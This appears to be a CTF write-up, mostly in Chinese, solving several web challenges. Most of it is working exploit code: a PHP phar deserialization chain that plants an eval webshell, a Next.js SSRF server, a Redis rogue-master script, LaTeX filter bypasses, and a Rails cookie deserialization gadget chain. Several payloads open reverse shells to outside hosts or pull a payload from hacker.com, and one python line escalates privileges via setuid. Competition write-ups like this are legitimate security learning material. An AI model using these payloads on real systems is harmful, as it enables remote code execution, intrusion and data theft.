Simpleshop
Recently, my e-commerce site has been illegally invaded, hackers through a number of means to achieve the purchase of zero actually free of charge to buy a brand new Apple / Apple iPad, you can help me to find out where the problem is?
https://avd.aliyun.com/detail?id=AVD-2024-6943、https://avd.aliyun.com/detail?id=AVD-2024-6944
根据漏洞通报定位漏洞函数:get_image_base64,本地审计梳理利用链为:前台用户上传文件,phar反序列化RCE
文件内容有检查,通过gzip压缩生成的phar文件即可绕过
poc
<?php
namespace GuzzleHttp\Cookie{
class SetCookie {
function __construct()
{
$this->data['Expires'] = '<?php eval($_POST[1]);?>';
$this->data['Discard'] = 0;
}
}
class CookieJar{
private $cookies = [];
private $strictMode;
function __construct() {
$this->cookies[] = new SetCookie();
}
}
class FileCookieJar extends CookieJar {
private $filename;
private $storeSessionCookies;
function __construct() {
parent::__construct();
$this->filename = "public/y0.php";
$this->storeSessionCookies = true;
}
}
}
namespace{
$exp = new GuzzleHttp\Cookie\FileCookieJar();
var_dump($exp);
$phar = new Phar('test.phar');
$phar -> stopBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($exp);
$phar -> stopBuffering();
rename('test.phar','test.jpg');
}
?>
上传:
触发:
蚁剑-> fpm bypass df -> suid读flag
ezjump
Just jump!
通过源码结构及flag文件位置,猜测是通过前端走私/SSRF到后端然后打redis的RCE
通过依赖检查发现Next.js存在一个SSRF的洞,https://github.com/azu/nextjs-CVE-2024-34351,通过一个SSRF server和修改Host Origin头即可
SSRF server:
from flask import Flask, request, Response, redirect
app = Flask(__name__)
@app.route('/play')
def exploit():
# CORS preflight check
if request.method == 'HEAD':
response = Response()
response.headers['Content-Type'] = 'text/x-component'
return response
# after CORS preflight check
elif request.method == 'GET':
ssrfUrl = 'http://172.11.0.3:5000/'
return redirect(ssrfUrl)
if __name__ == '__main__':
app.run(port=1337, host='0.0.0.0', debug=True)
在get_user时,会对redis发起 RESP 请求
可以直接打主从复制rce,构造fake server
import socket
from time import sleep
from optparse import OptionParser
def RogueServer(lport):
resp = ""
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(("0.0.0.0",lport))
sock.listen(10)
conn,address = sock.accept()
sleep(5)
while True:
data = conn.recv(1024)
if "PING" in data:
resp="+PONG"+CLRF
conn.send(resp)
elif "REPLCONF" in data:
resp="+OK"+CLRF
conn.send(resp)
elif "PSYNC" in data or "SYNC" in data:
resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
resp += "$" + str(len(payload)) + CLRF
resp = resp.encode()
resp += payload + CLRF.encode()
if type(resp) != bytes:
resp =resp.encode()
conn.send(resp)
#elif "exit" in data:
break
if __name__=="__main__":
parser = OptionParser()
parser.add_option("--lport", dest="lp", type="int",help="rogue server listen port, default 21000", default=21000,metavar="LOCAL_PORT")
parser.add_option("-f","--exp", dest="exp", type="string",help="Redis Module to load, default exp.so", default="exp.so",metavar="EXP_FILE")
(options , args )= parser.parse_args()
lport = options.lp
exp_filename = options.exp
CLRF="\r\n"
payload=open(exp_filename,"rb").read()
print "Start listing on port: %s" %lport
print "Load the payload: %s" %exp_filename
RogueServer(lport)
构造ssrf请求
from flask import Flask, request, Response, redirect
import urllib.parse
app = Flask(__name__)
@app.route('/play')
def exploit():
# CORS preflight check
if request.method == 'HEAD':
response = Response()
response.headers['Content-Type'] = 'text/x-component'
return response
# after CORS preflight check
elif request.method == 'GET':
padding = "\r\n"
inject = "$1\r\na\r\n"
# 主从
#inject += "SLAVEOF 1.1.1.1 21000\r\n\r\n\r\nCONFIG SET dbfilename exp.so\r\n"
# 执行命令
inject += "MODULE LOAD ./exp.so\r\nsystem.exec 'bash -c \"bash -i >& /dev/tcp/1.1.1.1/1338 0>&1\"'\r\n"
padding += inject
user = "admin"*len(padding)+padding
ssrfUrl = f'http://172.11.0.3:5000/login?password=&username={urllib.parse.quote(user)}'
return redirect(ssrfUrl)
if __name__ == '__main__':
app.run(port=1337, host='0.0.0.0', debug=True)
ez_tex
上传/编译 LaTex 文件,无回显,/log路径只显示一个app.log
文件内容检测通过 ^^41 == A
绕过,尝试往app.log写内容
\documentclass[]{article}
\begin{document}
\newwrite\outfile
\imm^^65diate\openout\outfile=a^^70p.log
\imm^^65diate\write\outfile{helloworld}
\imm^^65diate\closeout\outfile
\end{document}
\documentclass{article}
\begin{document}
\newread\infile
\newwrite\outfile
\openin\infile=main.py
\imm^^65diate\openout\outfile=a^^70p.log
\loop
\read\infile to \line
\ifeof\infile\else
\imm^^65diate\write\outfile{\line}
\repeat
\closein\infile
\imm^^65diate\closeout\outfile
\end{document}
import os
import logging
import subprocess
from flask import Flask, request, render_template, redirect
from werkzeug.utils import secure_filename
app = Flask(__name__)
if not app.debug:
handler = logging.FileHandler('app.log')
handler.setLevel(logging.INFO)
app.logger.addHandler(handler)
UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
ALLOWED_EXTENSIONS = {'txt', 'png', 'jpg', 'gif', 'log', 'tex'}
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
def compile_tex(file_path):
output_filename = file_path.rsplit('.', 1)[0] + '.pdf'
try:
subprocess.check_call(['pdflatex', file_path])
return output_filename
except subprocess.CalledProcessError as e:
return str(e)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return redirect(request.url)
if file and allowed_file(file.filename):
content = file.read()
try:
content_str = content.decode('utf-8')
except UnicodeDecodeError:
return 'File content is not decodable'
for bad_char in ['\\x', '..', '*', '/', 'input', 'include', 'write18', 'immediate','app', 'flag']:
if bad_char in content_str:
return 'File content is not safe'
file.seek(0)
filename = secure_filename(file.filename)
file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
file.save(file_path)
return 'File uploaded successfully, And you can compile the tex file'
else:
return 'Invalid file type or name'
@app.route('/compile', methods=['GET'])
def compile():
filename = request.args.get('filename')
if not filename:
return 'No filename provided', 400
if len(filename) >= 7:
return 'Invalid file name length', 400
if not filename.endswith('.tex'):
return 'Invalid file type', 400
file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
print(file_path)
if not os.path.isfile(file_path):
return 'File not found', 404
output_pdf = compile_tex(file_path)
if output_pdf.endswith('.pdf'):
return "Compilation succeeded"
else:
return 'Compilation failed', 500
@app.route('/log')
def log():
try:
with open('app.log', 'r') as log_file:
log_contents = log_file.read()
return render_template('log.html', log_contents=log_contents)
except FileNotFoundError:
return 'Log file not found', 404
if __name__ == '__main__':
app.run(host='0.0.0.0', port=3000, debug=False)
写html打SSTI,然后suid提权无果,Capabilities 提权
getcap -r / 2>/dev/null
python3.11 -c 'import os; os.setuid(0); os.system("cat /root/sctf > /app/ez_tex/static/1.txt")'
havefun
小李刚毕业入职一家公司,老板交给了他一个任务,但是他第一次配置php相关服务,好像存在一些问题,马上要检查了,小李是否会挨骂呢?
主页指向了 /static/SCTF.jpg
,文件尾存在php代码
<?php
$file = '/etc/apache2/sites-available/000-default.conf';
$content = file_get_contents($file);
echo htmlspecialchars($content);
?>
通过 路径解析错误 成功将jpg执行为php http://1.95.37.51/static/SCTF.jpg/a.php
获取到 000-default.conf 内容
<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
PassengerAppRoot /usr/share/redmine
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
<Directory /var/www/html/redmine>
RailsBaseURI /redmine
#PassengerResolveSymlinksInDocumentRoot on
</Directory>
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
LogLevel alert rewrite:trace3
RewriteEngine On
RewriteRule ^/profile/(.*)$ /$1.html
</VirtualHost>
其中两条重写规则
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
RewriteRule ^/profile/(.*)$ /$1.html
根据橘子神的:Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server! 中的
Jailbreak Local Gadgets to Redmine RCE
,可以轻松获取到 secret_key.txt 的内容,从而实现攻击 Ruby on Rails
,一个通过Cookie反序列化的RCE:小心!你的 Rails 有被打過嗎?
获取secret
http://1.95.37.51/profile/usr/share/redmine/instances/default/config/secret_key.txt%3f
环境安装失败,记录poc
# Autoload the required classes
require 'uri'
require 'rails/all'
Gem::SpecFetcher
# create a file a.rz and host it somewhere accessible with https
def generate_rz_file(payload)
require "zlib"
spec = Marshal.dump(Gem::Specification.new("bundler"))
out = Zlib::Deflate.deflate( spec + "\"]\n" + payload + "\necho ref;exit 0;\n")
puts out.inspect
File.open("a.rz", "wb") do |file|
file.write(out)
end
end
def create_folder
uri = URI::HTTP.allocate
uri.instance_variable_set("@path", "/")
uri.instance_variable_set("@scheme", "s3")
uri.instance_variable_set("@host", "hacker.com/sctf2024/a.rz?") # use the https host+path with your rz file
uri.instance_variable_set("@port", "/../../../../../../../../../../../../../../../tmp/cache/bundler/git/aaa-e1a1d77599bf23fec08e2693f5dd418f77c56301/")
uri.instance_variable_set("@user", "user")
uri.instance_variable_set("@password", "password")
spec = Gem::Source.allocate
spec.instance_variable_set("@uri", uri)
spec.instance_variable_set("@update_cache", true)
request = Gem::Resolver::IndexSpecification.allocate
request.instance_variable_set("@name", "name")
request.instance_variable_set("@source", spec)
s = [request]
r = Gem::RequestSet.allocate
r.instance_variable_set("@sorted", s)
l = Gem::RequestSet::Lockfile.allocate
l.instance_variable_set("@set", r)
l.instance_variable_set("@dependencies", [])
l
end
def git_gadget(git, reference)
gsg = Gem::Source::Git.allocate
gsg.instance_variable_set("@git", git)
gsg.instance_variable_set("@reference", reference)
gsg.instance_variable_set("@root_dir","/tmp")
gsg.instance_variable_set("@repository","vakzz")
gsg.instance_variable_set("@name","aaa")
basic_spec = Gem::Resolver::Specification.allocate
basic_spec.instance_variable_set("@name","name")
basic_spec.instance_variable_set("@dependencies",[])
git_spec = Gem::Resolver::GitSpecification.allocate
git_spec.instance_variable_set("@source", gsg)
git_spec.instance_variable_set("@spec", basic_spec)
spec = Gem::Resolver::SpecSpecification.allocate
spec.instance_variable_set("@spec", git_spec)
spec
end
def popen_gadget
spec1 = git_gadget("tee", { in: "/tmp/cache/bundler/git/aaa-e1a1d77599bf23fec08e2693f5dd418f77c56301/quick/Marshal.4.8/name-.gemspec"})
spec2 = git_gadget("sh", {})
s = [spec1, spec2]
r = Gem::RequestSet.allocate
r.instance_variable_set("@sorted", s)
l = Gem::RequestSet::Lockfile.allocate
l.instance_variable_set("@set", r)
l.instance_variable_set("@dependencies",[])
l
end
def to_s_wrapper(inner)
s = Gem::Specification.new
s.instance_variable_set("@new_platform", inner)
s
end
folder_gadget = create_folder
exec_gadget = popen_gadget
generate_rz_file(("ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"1.1.1.1\",\"1337\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'"))
r = Marshal.dump([Gem::SpecFetcher, to_s_wrapper(folder_gadget), to_s_wrapper(exec_gadget)])
#Marshal.load(r)
#puts %{Marshal.load(["#{r.unpack("H*")}"].pack("H*"))}
def sign_and_encryt_data(data,secret_key_base)
salt = 'authenticated encrypted cookie'
encrypted_cookie_cipher='aes-256-gcm'
serializer=ActiveSupport::MessageEncryptor::NullSerializer
key_generator=ActiveSupport::KeyGenerator.new(secret_key_base,iterations: 1000)
key_len=ActiveSupport::MessageEncryptor.key_len(encrypted_cookie_cipher)
secret=key_generator.generate_key(salt,key_len)
encryptor=ActiveSupport::MessageEncryptor.new(secret,cipher: encrypted_cookie_cipher,serializer: serializer)
data=encryptor.encrypt_and_sign(data)
CGI::escape(data)
end
puts sign_and_encryt_data(r,ARGV[0])
SycServer2.0
登录框,前端对username、password进行sqlwaf、加密
将func wafsql置为空,然后万能密码登录
robots.txt中路由 /ExP0rtApi?v=./&f=app.js
存在文件读取,CyberChef解密
通过污染env和shell环境变量来命令注入,Abusing Environment Variables、网鼎杯2023线下半决赛突破题errormsg复现
{
"user":"__proto__",
"date":"2",
"reportmessage":{
"shell":"/readflag",
"env":{
"NODE_DEBUG":"require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');process.exit();//",
"NODE_OPTIONS":"-r /proc/self/environ"
}
}
}
{
"user":"__proto__",
"date":"2",
"reportmessage":{
"shell":"/bin/bash",
"env":{
"BASH_FUNC_whoami%%":"() { /readflag;}"
}
}
}
参考
https://blog.wm-team.cn/index.php/archives/82/